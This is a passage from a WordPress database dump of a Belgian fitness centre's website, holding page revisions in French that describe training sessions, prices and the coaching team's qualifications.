class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-24 08:34:58', '2013-11-24 08:34:58', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(402, 1, '2013-11-24 08:40:03', '2013-11-24 08:40:03', '', 'julie_rogge_pti', '', 'inherit', 'open', 'open', '', 'julie_rogge_pti', '', '', '2013-11-24 08:40:03', '2013-11-24 08:40:03', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(403, 1, '2013-11-24 08:40:22', '2013-11-24 08:40:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;198\&quot; height=\&quot;254\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-24 08:40:22', '2013-11-24 08:40:22', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(404, 1, '2013-11-24 08:41:15', '2013-11-24 08:41:15', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-24 08:41:15', '2013-11-24 08:41:15', 